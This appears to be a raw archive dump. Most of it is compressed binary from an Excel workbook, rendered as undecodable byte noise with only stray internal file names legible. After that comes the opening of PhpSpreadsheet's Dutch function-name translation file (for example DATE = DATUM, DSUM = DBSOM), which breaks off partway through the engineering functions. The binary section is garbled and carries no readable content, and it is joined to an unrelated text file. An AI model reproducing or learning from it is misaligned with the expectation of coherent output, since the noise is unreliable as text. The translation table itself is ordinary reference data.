��]����#��.}�/�UUtIxkf̎(����'�r.��&��I��i�̠��\�(�����`��?녋/�8ӣ!I��1�r�=\�M�2b�<�Җy��]���4~ĴS2O_i�[��#��.#y�'{=�ƓQ�~�V���;�K���Z ��jF��߃X�|��=GI`�q�X�[ܪ��������D�3v�Ǚ.��xee�'�A,��&%`�e�#9�^lR�:�6��.�bj֊�;���ބ^���+eՈާ��|gȁ�%?,5p��1CL$9iYF1��?�v�z� �k{a}b:1!E�wa/�=p#k���N��3���$��.�f^JN���Q�@|�5��Oi**�0/:.v�%^����`߫0p�m�0|f\���$��aL"Hi�P��{��˪ئ� sR����p�[���h�ǠM�5���¥�/�!OAS�I����H�5�+^ }��W,���� ����+mA�@X��+��ۀHaT֮!1�HV��b����' [������j=�<k�MeD��\�͝��+拼�@�wT� 1-���I2&,I�d�'D�Yx+���0K� ��s���kZ�� �pv��$������Y�(LB��*U��;b� ����rR"�*v UAÛOJ����;O(o0�X�3��>��@�Pdh���� �<�rFJA�b���W���c�����4�pw�[I����ͱ�n�Pl�Ơ�����;��s�{ ǟ��_��Pu��Q4լ�����`��/�w����B"�斩�Xa���ijA}� �e��f�j \b�ȸ�����+���}�ˉR���wN���u~���S?��ɖt����M�,�,�t%�}��t��^]r��Ш���D���=�m ����r�88KB-G.���K�ё�VaN m�X�� �o4 Q��Q���v�b������c�A{/^*!�2�B�p�.��^-�2����Ao^#��C�X���t��+.SL$�#{�p&)�\�/�J�d�_E��('Ҵ(&���Ug����֛�#�����=��z2U�i�^��2��k��4M��i�Z�� �;c���߱��� �+�6@JHg�hWc�*>��5W��E��}�Y^�.r^��)�Rj���B����܉�� 鲇���fe��J�0�Y��X}���D���l��kͱjwv�^�ON�?;9�6�S������}�_�z����p��l����MITkm|���@I��(�]<�Ы��g�3L^�'(dV��ِk��N�\]te.��SQ��f���pf�<� �����p]�$۰��6,�74�0�q*î�9˞r�z���Z렴���hz,[�oyL�G��H���U��,Sg>���sY�;�Ź+��l_��\�T1���m�D7c4�a�2����s�:k)�^����b�Ḿ�E �/�2�6���E��O����h*}��epa���$W� ��>�>¾''��_h5�;���.c4F�[�ek{*]МZJ��q�^�tN5!�Q.l~���9$cuO?��fcGWa�b�z8���c/L��o���E�VN���?ܺ�)�����m�li�Rk3Ȑġb\୬eC�3��Qkv�V��pw`5��Իb��+2� ����mT�o�`Q0�)�hjss�4N��v~~Q���|�7�3�C��#X���֡�]��%D|��!AL�_k-��La���"�@�x�/4����� ��I�ΎtFB���AJ�D�I���� �9��Z<�CH�se�6.���va�2g3�Y���u�l|;:�a�� �[��llK윇���Xq�4��bh��T��Rzb��`�D��Z2ޔJ`�|��i@�J�N/R�ƛx�a�P1�ZTA'��hIaG�{&L���i��@��Nl�v5�Ӹ����!�!�6���4�"[ ���!���^�dG��?v��������G+��*�ҝ�i�1�"��!�xb��B*�^����Vn����X����374;xER��5�y�f��݈��j�bqz���)��~Zz"���Agq��&�1��5a3���jpQV̴��ll/{�_���.�]�x���� �%�]84�������לq��a�~�hw)ͩ�Y;P,�S!�Ӥ��T��r�%d�S���P6 >��Ev���@['f�=y܍*�c�=�KNr����[^1����Q1�t.�Ǥ�>��25�v��B���mJ ����oP!��HeO�%N�G�����]<*��[� �i�N�A��D����ob�p{����T���YYL X�w=�$G���� ��Z�Hc�]�g� �/6��k�l�l��=��]���S��rnms�Gܿ6���PK!�8��(xl/threadedComments/threadedComment2.xml�}[�\ŵ��P!���S���8Q�]R��vu�@~���1:�! f�Dp���F�.�� �A��q�}��/�/��[ke�����j�3�R��3s��u��%��g�z�����gN��y�@s�q����ة'w~��~}�@���GwN<�䩝�<�}�??������GOl��z�흳gjx�Ι<q��Ӈ:���O=zf橓��>u���gg;�ԡS�?~��Cg��w�<��}��'�ͥCg�q��<�>��'�zz{c=~��S��=3s��/2�k,z�ѓ;��=�fY;���F���h5Z�zc��\�l�7�73X�� ǩ�������N+ZZ��Ϸ�����F}ia�[��6����F�ۘ������bԜ[��k��������.4ꍨ��,F��ŅοrN�Ϟ}p�S�<y�=}�O>W��vm��m����m�Hҷ`)�Rf덥z��٘=ܘ;�h̴�K���b��Щ7����\/Z�*Z��^wy�٘��.4Zn)Qsv��]�ջ��,>�Ê{s��(j.6��b��K9��{�=}�ԯN�+j?�����噝��N�W����_���>{�>�bPe�����0~�=s�$H�_�����z��<0��Ra��k-u���r��9�~�ɳ���ƀ�F�[�)y�ap�c�<��S6g��ͥ���Ro�G�x���ɝ_�̜>;�9� �]8P{r{�g���gN?駙C����I�tT��s��=?��-�����{kO�KK��V�Q�-�v�s�F�ޙk�ח:�vwy��]hx~�nu�����j'�����?��m����%��<��]_�����`|~|g�������w7�>���bm����x���v_�o��7�ow_����_�5�n|�/�8����Ǐ;xO�O���nLJ���n��u ��ǷxL o�����6<���~�������L�k�ys&�ǽ9�!#\�����V�'s-\Ý�Va��Y}����kx8�)ob]�/�S s�>�F������/��|�3�+�_�����O��S��ռ�e�Lx���7����J~Ehġlf���!�������9}�ݗd��\�.����|a��/フ�}�g� 1��ʠ>�*I����������筙���T�E���,Z(Z��i� ���AG��捵|6�>S_L��{�K�*ca�0�o@P�����P���Ň��+m����n��������h�x|z��\�3����ߒ�鍒��s@&�!�o�O�u�Tv���0<S:��acjș��͈���-�~Ge����䙦�H�Ј=j�=��Ǽ�� �$p���q�p�u�����!��G�)�HNB��6O��r�0I�T�(%frQ�w|��Z���+iR�i�g��1IBy�<^��b�߰�2�����8��ɛ���2$D8� �l��F��h�����pe�GG�+28$�Ho���U�2e%e ��9sW�so�����$ޤ*H���/���TI�y�y�U�?�oI*��� � ,,�M�etG��k�Ά� �~�E�>��dL��pk t�d����� �������3sN�9�D�n#k�lE��oc��,����#CM+��O�qFN%��Ԗ�l�)�tx�13���h -4��M����\c&�b�__��{��\���t�)�k�F�#J�ؔ��F�r�G ��&�:-�ɂf��tx�����cV�Q�AGC�� �Cض�� y�������XaW)C ��P�bSg�p�g9�+jA<�p�y3h�SSM?!��!�(_H��s8���9����Ni�~<��M⢘��h �Rȣ� �ݗ�=�=L7�;Zx��0;^���;5�aF|�6��u� wk�5��j�%���o���*�b�������X��j��q&�*�B2�HX=�S���`-�����Iӣ�N���L6To������*N����b��p�����6<q�T��}Om�Ŗ�A��i��L�:�e˔1���'ll��c��4߀����Бz�+L(aUJtԉ3�N�u1{M�R]��¼)c�,�q��@˜��^���Id�녓��X�{�i��!���<�558�����67�Y�{]��֪�f���^rr R�6��-H��^��j��?й���k�W�\C��W2<#3]=P��ik�H��aV�<�6�2n(�����Z"��<Kd�qx~a��ڳ%�m�f�z��D��u�n��0�\o�.Fݨ�k41H�ko� !\��(ՁvRuE�^�@�Su���S^@�Ӟ���`�uh�-��"u�"��e?�K�ch4u�/'�(�E�!���#2��n��Dϫ�1a@{�+"_��%��+��nTu#_���[1�����ė���MG��Kh�ڐ, M���)d�[�lU�����3��!��9F��N�"w!ޢ��Q�J�Ə�>��`�����Ӧw$�˿�a��¤����P��4_�*��õͣ��Bk^�U�?�96=sM��|�D�4萛��_�[��i�>9a���?:�2�1N~lAN:�x�4��Ȱ����s���_���/G \.`)�}�*a�k�O/�e}�ɀk�����C��� ���i�� �S��n��ܔ�H�T����Q���yֆ+WPI��<h�����,`�$���7��p���_���$�� �-,XفM�t��:� �V�d�20�k��:9`��ܠ)/��ׂ��Q�m�1�߄<#� !eD��?�c��"�|B�b�Ї�_=J��.)�~���hap�y/>o�[�R�ph2A�� i��w�qH5Jb1?q�̦e-���(]"+)���-8[�6�kD-��Q�;��M�{����zr�q��2 �y<r����>Kk!�����f�^�|:փ⑦u�V�y!�Ȥ'� �U7�4�0S z��3�g5o��L�m�#�����|������S:����|s��mu��07����l�ߜ��u{�sp@<�ى66�����9Q���?�����Y������#����HR�2�F��>��� QO�����އ����7>_,�9�>�'��?��t�x��Pbx�I���=.�{�`�Ջpr�W<?3�)k�OPhX`adۢr�A#���7 ��<ʩ��E���){�Q*9�tn0<E��H�0\-ë�Ɵ�0��Vr`�ߋ ��;\]_q��?r �$1h �W�X�F��P}i]b��n1i^a|R#Q�_�GV�E� �N�����6R�I�*�c��-�Y�������[X��5')j�ʻp��w�kh��! �$�F>k��P2��m_Pb���-0��d��1���9��l�O�Np�����:Sg�Ij�J��5��fQ��'͂pj{���M�����a�L'�h�1q%#�\A84�&/|Mo~����nae�w�CZ#� /�&?�pG�_��;J�E͂��Ht$�،���+�7��y �қ��7��CIT�6H+��D���D*�A@ z$>�-��ɼ7��p|�a��O�3{�A���,�I�!�~&�Gf���R��wsq|iF_(6&HX�9q/d����f�h�}U�<�92Xk�`M�A��N��AY�d>P��b��~t^�#[��%;8BaZ�øg�ER�B6�����B�U&�����-�O�W���_�7�C�-Nn2=�yB��,)㨷�����,��'[G� } r����8�MJ�캰,�V� �܊ �{���xP_(�A�"7�6��.���;(j�T���b�%�mĤ�H,3�ϵe47@-8 B���n�B�*��������FC*��n,�w1Y�!�Ϩ�.b�y�b¾��K�S�2<Ҵ0����T<f�i�|0m��!O�bJ����$�J�`8�B�^�^>̼�l�\{�n2�2� Q`��=V�A��B�SG �!� �^82�W�'�r 'i!W�py�nl�{�ii�ܩ��s�&�|���J�H�A�/ݣ\���"�Ă�+��3���d�i���O��7���!���-I��Tj:�>'���L�N�0��V'�3�I�JP* NL�+fw{;��y���<5R�y, .��,+�{,�L�V�Y+0�&ۣ�ۣ�Q'���ͳB9�w�cWu��_�i�:���[l2?{��b�d�4�&��>ꋖ��YdX"ǡ�^�_�w��z��BUX�ilw�� B�s��^�Ԩ?10R*���-��4IZk"G5-�fs_,I��z�3���R���X>���g��DJ(�ɴ�� *���Uá�e �(X\F,��n��ٗ�@�%@�E�(�^���D��Ê���C$�As� �H�����q)��jW��^td���0�)Wa���V�:9�tn$���>V7���� ]���]�S�,V����c�X���A�\����mk�9����#9&�%�H��$}��F N��zFʹ�,���U�Xޕo�v}US��� Ȝq��'���N\���u�!S�yD��gMaQ_��!�O�v��Ud�T%m�_�� 9�qD�b�����H" mF��`:�� ֺ�w�V�+T�-�Y�&är{L�I>��X��>l�J���g�x���ܫZ��3�����"-��V�D9�H�r9� ���m`�ĸ�8]!�OAǺ�ݗl�ٺ��v�idc���S��)�7l�P�q������)H�.���Ά�� �5���J��(�䧨�+G�!,�ܩG�b#%�Vס�U�ꜙ�<Y���4��_K�}A2]BIp~�Lό�p�d��oU��,}-��)��zK+�p��0�,�`B�� ��F�U�,�N�1QK�4`Y*@Lz��RťŊ.���@kr�n�����U�y�X�p/!*�����g�L�]��ޕ��,�:�ؑ��5'2�����c�� �\�B���<��^bY��[���j��U�xc�# WV�0�D��":'1�*�W�W5C���q��Wr I�5&N��1�_��-~�l]���TdW�� ��_W_���"�q.����B���ў�)��i�qm[���`�OL0�$%U�6��pkz��`�nh�~+��A]��qד�W�H��sIJܑ"�k�1a�Ӹ��~?r��?�R����H4�E@��Eg'G�`q2Ax����T�\�ŊS�B,�7�sO�h��l�{4�m��;�h *$X'Q*�&�"�x`N�O��m�ȁ%�p93K�����q�3��0藮0IQ�-��C-k�y�t�PO6���|`�.�[�9袷����J̝J:���B��)D=��&Vs�BS�T$T�]|v<��Z�QID/VD��F�S�P� y��A�:��^ah����!�M�G%����H�����у����/�s����hE}�#$%f�r�ZM��K�V��D/��0���K�ڰ��f(���7,x�� �$ՎgO���Y���l60�T���W=w\B��3�WF��G���#�dՆ&d����"bōgK�@�p��4h ��AK`��tEdJR� Q�b��Ka�F\��{�3�WOB�#�_���>�b[��� �+�I8*�o d j7���!t�GB��ia���8CLv�-@}�dJ��>ƌ��L�c��� �nj&+5�K�Z�� 2he��*E��� P~�мHI$q����*Q�'ґ!��B{�><����?K� �%�+�HJL!��m@J��Q����c,���t��u��NLĥ�fR-����2W�3�4����h@���殲$���C5�.溒��k��E ���MZە��]ɮ�{ؕ 3T�]@�dKLb�]�:ϥ픪��`�(�|W�Ki$US�`�+O�5{s���ªTɈN!�����DL��{�N�Pwk�D�$��[�2���Ce��+�#�&g�@WK_�hELX%�6��L�*�R�p)�v1#I/*��.�䎮���C�6�PX1�>Q]�j�u�l�I�C��p�7�1��/F>���[45�So������~�Dl��fG#%�����U�'�[8�#Զ�E�e�x0�6*��q�,AϤ��2?M1�ˢ��CJr���qu�Lj-�xn����z��r�h�H�)�UxDb�)� �� ���gs��FD<>��a�ʘv��Į�� aZ�fg���T��84.��S� �F��'��6R�FeLs�Iy*2�M(a:u�|���5!D��.��8� ��.kvU��~��B����ݜ��CZ�9�Pf�x��T:�bW�i�%�uXt��<j0�m�J�����Ry�kIJ+�P��3��4��g� ��(�C�+� s2��&Db�������b'R4��)�(�?C�1�1���0,�� �NF0_��V^p�~��9-�qy�v�9q0�m>��G��;՚Ai�Ŕ�A�T;d �\ Nj�:�� ʽ)3A�ρWc�XMPY�7A}Զ�jE�Z���� %iXS����P�Ez[J�H���"�ǷX[*+t6i��0A�X�{ݥ^�d��Y����5u��"��������_�sG�~���iF��b�W�k.���P�]�����lc)�؍V,A�SQ���)�i08n��b@m��K�/rqv��|����i�0�H�)t��Bki�h8��<����lv=�r5�r���d&q ���k� Kg�#�0�+~�!6�O��"��m���ID@��n����"J�.��5�FZ��Y� �w鵽 �A 6:+h��`���LH��dP�g�@'�&��¥�w� *t�>�� t�v٘₺���"��m��x�V����DU��f%]�T���P�%�Q�I3$6�����\���ˇ��Ҙ��@p��q[���3��r:�c��ư��� M$��6�l�W�Y���Z:f��R�Pt���^D!.��T��D,�0�8�*B�5��e���3@�캆�M�#��p�oa���<�`y@��,#��Ӿs��Het��S��r��o��)3B�� U���kf���!%��"+�f��k��MR��'�TyQ���Έ�y����&E3��LK�|C��v=�ܘ^j�)>�j��b��cC���jX\��Z5r���L�D�6h��'Ǡ�?<;w7��t��r){�F��R�>�Z����@��|+��Z��ޔ�k�&�!}��ίN�ܮ��3'kgO=s�vf�L��ӿxFo]�EEg�}l]���ai>�N]���\��D��Q<!���[��Hd��k�qH ��4 ���m͈𠟰U�N1���-�ϵ�r��Y�Yڈ��v���u�z�$`h�.���s��K�U�Y��Lh%�� ���ka��%� Z��v��^��H��%h�6�eM�L_h}����r� ��EXʜrw3��`��\��+�W�_ά��z����6�A81 ��?m�k>��U٣ V�x!�M`f���jG x�Ԣ��čO9�e�����=�����<.�ZFqo[�wڽF�ә�.7ݹ�r����ВKi��D�[LHH����C��MJ��8O,�>=���e[J�:�Gm�D����5���o�h��i%�vY���ܧst8t�<,�st}c����g���%M����Z��Fc��BE�a ��;\�Z5u-�.��F]Ҝ��zO����]T�[����C���g������!�0Z;��O��X�eDYJ�NJ3��I�+��C[�W�M���ľ(=�(�|"�O�OV�ͳ�4�P� �c���;�`�ș��,�OL P��z�! 踱��<S����R�"��R+}?M�-o��P��W��a>�tC��gq@5��>�%M�e_�"^�T+�/���P���\W1"%�awF��.J�2��Ko���º�r�0�^��xJk=U�6 �<���Zu�.Hz�����W u@�0�C���/�4��� ���f�^�"St�u�{�L|_�y�Vq����������T��/�S����Ad�x�a���H��CY���VG� w��+��dfm�7���a�#�f��% `�-��2;�dk����X������tH/���{Z:�8:I�0��E�lW�s���Æg�ӏ;xjڧ�(�_qbܞ�9>S�o[� ��Fή�L�{�K$�������f@���X�UY�\2��E���d>�s\$v��%�;y�(- ���W%�>�Z���<�@�_�qaKe$���xOH"�^�YX� ��krR����*�=�RR�� ����H����Ƴ.k,�vW�ga\W"d�d���W8\S�� G�4�:�4nͅ�6���l?v��z�����I�eQ[/��B�����`G�a� �k�bֈS�,�ː<�wi�$A��Z����.��X(B���5����b����E��\���ז��z�����o L�hz[���x�j����2n���b��|��د�^��Xgnn�����o�:���N1����;5��\k?s��A�ݻ�?��9C)9�˷>�V��7���K�����֏~���臸'k}pl��K"�&���|+�����5&d����|�M���]�˚VK**��z��E@�H��n�����+��C {��>��ߠG�Է��^� w�6g��~=���2��zw�ᢸn������BW*7����u�����ɡ��B��]��+�/���~)��'�����[�Yj�a���i_08)��W��;p)�K�<��Զ^O�D�g���钓��m��]N�p�Ͷ��8=�e�M[�eF�)��4� �0i�6i�����\�W"��5ˣ��=u G=K��9� �2J�owK��+DV'ܳ# Q��I������ ��`~t9p�c�&�lof�z���kM��M(҃O�1_�i�Ҋ�te���H������.��Y��`n��v�<A7Q�� S�* �d�lӜw⭛c1�д+8�v��as��d��"3�����b���KEDgXsMb��CԞcA��N�8s:ʼW��X��!�����T��_��wv����������mW����2g�x�qJ���Ƥ�&e��nu�2�|�%]�V\2Ȥa`iZ;�l����?��m.,�?֟�I��ط#�m� asZ�l&-��$�HJ���F�L��/��!�,e`�&��k�)>\��儒]��t=�`)�,�ӕI�)� h�%�k/�b�B�U��iB �B��,�:��� �d[)�HG�U�q�T�[i'�D+?�P��)�E��ȶ���J����PIبEOG�ݔ[�l�O�[� ���[d��qo] E#Idouuk�8��s����ńO�ޤrk�%m]0�!���Jluh` ��ZL� m�_� ���rW�jY��7g����аU�M��%p��H����28���ÚnJ�@qO���B�#� �䀥ӖXDz��P;5��遟-��MmX�nДr%�m���.s|�<�g�$�J��*���|��>P�m7JŔ?�R��\ˠ�/9�R_ٜtVp����By"] �M{}�^u���Uo:>��ӭ��=w}�)�E���L[�a�h��X� 3� �x���z�l�7֤ۢ��E�&]w%���3yt|u�{c1��7=��k�S�H�{+�� x��b�!)䵦���}!�r��1����Y�a���,be���p0���Us!�p���&d�@H�yG�� S�_f��6��X���kj?#1Q�U�bu',�0i����Lj�'�9�H�OnPw3� ֝S3QE5�b�QƢ�Ʌ;����50.-}Cl� 6,2����<�9��@l.q1u���F�f�"�;�� � ��%�OI�Ը.VA6=5����# �K�oB�KWC��A?����{M]0+�@ �<t�P��w��4<�����T�I��qd8�S�)��U)�ztlFHO#��V6j ���['�;���;����o7���جJ`�{��d̒a]���U)r�}�Ծ�)�%�:��)q��%w_I�;��HٮLϬ���f�r�2�:D�'űsir�fڸ�)j�;�� p�1��QL����(EXY�� �U��7#�0ŝ��u��9KR%�w� �Q�����f���u����Z�pj�Kl�o:p�SV�(�Hl�M��F�Ē1�;��)��Dw�@�d���J� Ls� ��߭>��)�l�|��<�Z=DWL�|QXVP�Ϥ�=R����¤�dT�Yb�r����zj������xc7J��+�u���� �� �Cb�Ȏ���y�����LlL�K(�"x<�n��AF[��K_�����y�>��eM�Z�V�~�r ���=�>uTove�9Q���s�3�H��c����6:����9��"��j痻��R����B�߉�z�SY�k`2����~h.;�ҔډRF�$��ՙN����`쇐=Ē�&�A..p�t�ā}r�-�Ė�!s���P��K��RR`ؓ��Si)Xgx �XV���兞��0;�����K^QhA��&���bS�al����"�=�u�KqK����ӛ���+�\ڄV�8xP�jwH�I�G^�3�*�/4M��7��i��@;��{i�-�,�ZoEk�`� M�d0�Kk0[j��a���&�aպ��0�NI:9��*��,�� �*�=.\qR�@�� f(h%�%��<'��j�d_)�G:)�?�/��M�z5'{��)�Tp��Їo�+Yo8�A���D6ǸUOZ�+���W��T�Z@#�zWӷ@-��R��&�E�m�io�NT�G�7q[���R��s�jj�B�3'�wz&Y�k�A/Z����Ҡ����.��g[�l� [8�0��ɔ��q���D(����Hd�T�w�=�e �Qdԁg�H:F����</*� -��Q>:���LT��ԶܕK�Ūm��^�Zn`��� �46�rK |�!��K�>f��-lCk�Xt�T��y;db+�0-��Id ��@t9�k H!l����ܩ�f�zHo� ��zĀ��6�B��t�=�h�j�엶n`��5�g�L�ĬC�b��@�D0ɻI��Wi�`,S@�ᱶ�9L�^ǐ.,aƴ���ƶI�.?Vʋ��voD�Yʎ�2*v&#���s�����l9�uJʤ����_�U�$��j �=A�o�B�s*�t��D��Cd���kߏ9�>���Us��Kӈ�Kl�l��t� ��3\�v��Xw#A�7��T��x�UD�0l�[%��")�$��v���~Jiw��l?�9���(H*(�3����$�8�S�8�}��m�ΞZU6-H� ɿ�̦[rE"�Ļ˪!���iF�\�m��e��}PkS��,H���؇��@;��G�O�`9�"�<���E���.�,��e)b3�̕�rچ��<�q�d�[�a.�$,������'3e+��WWc�M��/��d��ᣔ�{W�!��#��L3��#xY�Ҕ�����jK�O���7��7>�@Αh��05��7�_�v�ȠQ�E��m_���#(;۴;�g�L���5)re6Nd{xM�Vİ�>��(>4�%ft�=J���4嚩����[��J�d�z$�S5�@(��8˾����U�"W��+fA�@��mV��� 9�tg��e,H#�;P�䬐Y�R/Nh�T���<��$��Ĉ��ܝ̪a�G�f2��+�"����'g�2�c�.t� �kc��O�w�;eC����.�*@n^�T�ق�����`ͻ�,�ћ(K�y6#���=�$�c�:@�c03�?녋/�8�$ G+;U&�� 9���XˁS�V��Q����L1mD��W����ֆ��H&'�G$O�d����~D�7+�.��M�/qi�#[�1Z͈�a�{�կF�{s�D�.k,�{��cq)nH�M��$�+����3]�1V�ʪ�'��'��&��s��D��4�-�.��ޖS13k͡�+aө�)���+eՈާ�dI�nL]ƴW��!!����"��0�O���m�^+Asm`/��BL��!�(�.l� �nd�0�ɖ�306�����z��K��9 ��>8�ħ���RQ���x�q=j�6x[��,_�^��SnS�����Wٚ@pm�.�$@J+#rmW��I�m*��8���r��H߯$y��N.����@�����|#�S�.%|�T�n�z0�J ہlE �e�͌���4�[Q�L�����g��J-���`��B���H!*k]�-�"�hp}8���C�m'pJ @�� /Y���{2v�5:s��h��^9_�$�o|��o���FW;S�1a *�;�m���d*g�(�K�o�<�+�~&װ�� �pv�@#����5�׳nLB��E��!w$,�Q���&�jR"K5w S{¤�Jbc��a� "`p��<�d��6�2h�"C;_6�&��!-g��)f�o�z?�QW�H/8�n��]�ru+��zyz�r�9����� ��p���gZ$毄�n o�ƖZ&�C� ��h*��l� ��f��x�^h!Q!�X��# b��cd# xQ��q+�qc���c��c�~߇�Ư��ڬ�/'9d.~���S��u~���S��ɖD���{���t��3�����Jrϯ`hT@����{�+z�m_J ����D}tw@Zm��ڌ3\��O�KEN4�ϖƔЄ�����ީD��>+25�B,{��3�S�� B/�W�X��DA�����D�(�����`Ue� h%�Nh_y�_*p�+r��%�CCM4'6���/��W��ߩ0-��r��G� �X������X7s�A���#W�&��d����{��i��M3ѰԕԸ�9�����B�#�(�����k�{@Ň�Ag˙[�-�����R0��y9�(��s�SM!�3d~V��ha��D�H.��fm�� �0�9mC���fn��ṥ�Žw��t���f���4���H}_���?��R3Z��S�7��-?5����{�1����Ŏl�#9��k�u"�D�wB�"_��˟��]V��L����d�T�����w9�y��V��]�KjB7�07<D��c돗�#�ˠ�<l�i���K/α��p�E|d/��7(�#�|:��"зve�D�&3E���U,Sg$����s�Xm�.n�Q��l_��Y�Sg��"&��1V)#8����f�K%�ݨ����C�U���IA_4���0��rk|��(����GqlE���zJt���Ѩ�C���O���h ,�@�h�;n�W���t�r=�V��R=o*��v�3��� ��{ʦl�'�jB��>Ǝ��&=�3bI�_�����v�n)D���v�PT0>�?�!C:��"S�y��~��� �Ԃ��F���j��֚�,\�kGS�Mo��Վ� �o66��6q�I��������#�Z����(���hn�6z|���G.�@�J����+d#��k���&���ꙭs���LV�'�{՟�I��T:#�u�� #|b�$Mu��\���D�iu����fy�|i�i)������L9�@�v:t�7�8�,ש����Q)Q�r�1�i_h�$T�H;����X��l������'e���>�r'5�&u��t��."Uc������%��F�U���ە�&���xB�f��=��%�FkA�4.��bi�%Pp���I�"(��i~�%���A|�Re�^�c��~t�m`e?P�W���`N�H��j�s�{�wֈ���C5�+7eeiP)��ҁi,�� ��]P]����\�����1c!y�5F���2<g=�hCꇱ��h}����1�� �'���%�3�K'a��D6��f��i�~Ԯlv��&`݃t�g��������;��39��,�܂��D��fֽ�Bl�r$ �8�I62/b�V��q� ķ3�2|_6 >��v����u��<���%�ہ'����ln������9��c2|Zu��O� kY$'4f'Iϣn��7�-˗"�J1�v��f�yx��e��V,G����?J%s@���7NK��i_�]An�V��l�g,�Q����8�Xg��j�c�w����$/7��k��ω��풎�6�8�����?An�{���PK!sW�ixl/persons/person.xmll�]k�0���B��%ʦN;������F4����-c�� l��=�yx���9�,^;�b����Ni���?v�c䃰J�������_����^��"�B��$��F���rq�Ma%�I�4i ����9&)e< �s T�2`�������`��-F�r��'-#���R��G�z'L�����,i���<�ҁ��$y�)�eՓ.cC^�t���F�<,��$DzʧB�\��U͋;i��}�V�g���8����g�hz4�^��P���#�u��ۡ��ӌl��3��YI����0nb��p��J�$�XDkR(���"+'�j�? o�g���'�o��PK!ٌ^��docProps/core.xml �(����n� ��'���gce���JY���"�ժ�Q8�Ym����H�Q�]��O���kע0V�j��,O(���u�PݦW ��)��^�:9�M���+�K�ؙ^�q,�$eK��I�.1������'�/�{�1�?M�5�Ϭ\�g܁c�9�0�19!��z0m������d��:0�}�!Vf�N���w:��ق�S���)8�c6.���'�q{w��JފCBW��N�����p���Mχ��S,4���7p���s04q�v��[ƌ�6�m%��>ø��0�FX���Ӎ^�y,�Xn�v~;h4's�yA��jP`�����o��`��3�%_s[�l{ bs�?F��c*�\�C�����11}z�8��{x?��8�s����Mu��"/H�/ӜT��Ţ$�_A�M���; ���H�(�"/�eI�̈g@\���z�OA��6�U��x�����PK!0����FdocProps/app.xml �(���_k�0���F�ܴ�d�Ѯ�c��ݳ&_Ǣ�dtoL�O�k�&N�0��s8���Rw��g=$t1�j������B����_E�dBe|P����_�:�9��-�!�VR�m�5��u�MSk�۴������hw-��<���'T���PL����״�v�����1�Ve$�KׂΕ<5�[�yg ��gS�XS�}o�+9_*�ހ�%G��cު�5��6A��@=��\�P��V=X�)C���\��A0ћ�L �dS3־CJ�WLo�*ɂi8�s�v7z9 �8/�KG�g�6��E<2L�Θ\�9�c�s�#�${�;$��<cDL���م7|��`>�McT|=ǻ8�ǜ�`rߘ���]�y1��ӳ�W���:�K�͔<=���PK!¤>��docProps/custom.xml �(���K��0������ƒ"ŒI2L�2���n�,]M�dl%m(��U� )t㒍���w.Wgr���gG�:�)�we�M�����G,Q�G��St�����t��.��gI�S���-�7;ht��}�q�ktLe���j�` ��3Bƹ9�14��#�~��8T�s��?nNmM~��2���N�ץX,���Vj�)�s�F��D��l�V�P֞�ʼn�������`��R������k�� �5��n��ڃM�c�o?�������RO��l�I9J�����(a�)ߐ���ŧ�P���w�z��[�ٛ�������\�ւӜK&$-a:8����#.,����� �#<]��)>����Ran���;8k�����MLCM<���/R*�"�Q��K�fc^��H&)�����2e|L�9��9�.9�O��ӳ���PK-!������ [Content_Types].xmlPK-!��,t-_rels/.relsPK-!n�Ɲco�xl/workbook.xmlPK-! ���xl/_rels/workbook.xml.relsPK-!`�d� �3y xl/worksheets/sheet1.xmlPK-!�@|��T�|xl/worksheets/sheet2.xmlPK-!��N� B�xl/theme/theme1.xmlPK-!ɡx�i� ��xl/styles.xmlPK-!f�����U�xl/sharedStrings.xmlPK-!��=f�\�xl/drawings/vmlDrawing1.vmlPK-!?r�@*��xl/drawings/vmlDrawing2.vmlPK-!C� �pt�xl/webextensions/taskpanes.xmlPK-! �ҟ:-"��xl/webextensions/webextension1.xmlPK-!��#�xl/worksheets/_rels/sheet1.xml.relsPK-!�(��#u�xl/worksheets/_rels/sheet2.xml.relsPK-!���)Џxl/webextensions/_rels/taskpanes.xml.relsPK-!��G��,'אxl/printerSettings/printerSettings1.binPK-!+���,ޒxl/comments1.xmlPK-!�=��8�(�xl/threadedComments/threadedComment1.xmlPK-!W�� �7'a�xl/printerSettings/printerSettings2.binPK-!�q�9����xl/comments2.xmlPK-!�8��(n�xl/threadedComments/threadedComment2.xmlPK-!sW�i�xl/persons/person.xmlPK-!ٌ^��LdocProps/core.xmlPK-!0����FadocProps/app.xmlPK-!¤>��0docProps/custom.xmlPKC6phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/nl/functions000064400000024377151676714400023325 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Nederlands (Dutch) ## ############################################################ ## ## Kubusfuncties (Cube Functions) ## CUBEKPIMEMBER = KUBUSKPILID CUBEMEMBER = KUBUSLID CUBEMEMBERPROPERTY = KUBUSLIDEIGENSCHAP CUBERANKEDMEMBER = KUBUSGERANGSCHIKTLID CUBESET = KUBUSSET CUBESETCOUNT = KUBUSSETAANTAL CUBEVALUE = KUBUSWAARDE ## ## Databasefuncties (Database Functions) ## DAVERAGE = DBGEMIDDELDE DCOUNT = DBAANTAL DCOUNTA = DBAANTALC DGET = DBLEZEN DMAX = DBMAX DMIN = DBMIN DPRODUCT = DBPRODUCT DSTDEV = DBSTDEV DSTDEVP = DBSTDEVP DSUM = DBSOM DVAR = DBVAR DVARP = DBVARP ## ## Datum- en tijdfuncties (Date & Time Functions) ## DATE = DATUM DATESTRING = DATUMNOTATIE DATEVALUE = DATUMWAARDE DAY = DAG DAYS = DAGEN DAYS360 = DAGEN360 EDATE = ZELFDE.DAG EOMONTH = LAATSTE.DAG HOUR = UUR ISOWEEKNUM = ISO.WEEKNUMMER MINUTE = MINUUT MONTH = MAAND NETWORKDAYS = NETTO.WERKDAGEN NETWORKDAYS.INTL = NETWERKDAGEN.INTL NOW = NU SECOND = SECONDE THAIDAYOFWEEK = THAIS.WEEKDAG THAIMONTHOFYEAR = THAIS.MAAND.VAN.JAAR THAIYEAR = THAIS.JAAR TIME = TIJD TIMEVALUE = TIJDWAARDE TODAY = VANDAAG WEEKDAY = WEEKDAG WEEKNUM = WEEKNUMMER WORKDAY = WERKDAG WORKDAY.INTL = WERKDAG.INTL YEAR = JAAR YEARFRAC = JAAR.DEEL ## ## Technische functies (Engineering Functions) ## BESSELI = BESSEL.I BESSELJ = BESSEL.J BESSELK = BESSEL.K BESSELY = BESSEL.Y BIN2DEC = BIN.N.DEC BIN2HEX = BIN.N.HEX BIN2OCT = BIN.N.OCT BITAND = BIT.EN BITLSHIFT = BIT.VERSCHUIF.LINKS BITOR = BIT.OF 